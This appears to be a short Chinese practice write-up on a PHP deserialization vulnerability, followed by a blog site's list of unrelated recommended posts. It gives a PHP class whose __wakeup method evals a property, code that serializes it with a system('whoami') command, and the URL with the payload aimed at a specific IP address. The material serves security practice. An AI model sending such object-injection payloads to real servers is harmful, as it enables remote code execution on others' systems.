反序列化漏洞练习1

根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。

根据源码编写序列化代码

php 复制代码
<?php
class sis{
    public $cmd='system("whoami");?>';
    public function __wakeup(){
        eval($this->cmd);
    }
}
$a = new sis;
echo serialize($a);
?>

为cmd赋值后,直接将整个sis类序列化

访问该代码

得到序列化的sis,将序列化后的sis以get的方式为cmd传参

124.221.58.83:81/s1.php?cmd=O:3:"sis":1:{s:3:"cmd";s:19:"system("whoami");?>";}

完成

相关推荐
恋猫de小郭32 分钟前
Fluttercon EU 2025 :Let‘s go far with Flutter
android·开发语言·flutter·ios·golang
小龙报1 小时前
《构建模块化思维---函数(下)》
c语言·开发语言·c++·算法·visualstudio·学习方法
一只学java的小汉堡1 小时前
Spring Cloud RabbitMQ 详解:从基础概念到秒杀实战
开发语言·后端·ruby
952361 小时前
数据结构—双链表
c语言·开发语言·数据结构·学习
Y.9992 小时前
Python 题目练习 Day1.2
开发语言·python
你的人类朋友2 小时前
【Node】Node.js 多进程与多线程:Cluster 与 Worker Threads 入门
前端·后端·node.js
祁同伟.2 小时前
【C++】继承
开发语言·c++
烈风2 小时前
011 Rust数组
开发语言·后端·rust
闲人编程2 小时前
使用Celery处理Python Web应用中的异步任务
开发语言·前端·python·web·异步·celery
excel2 小时前
前端读取文件夹并通过 SSH 上传:完整实现方案 ✅
前端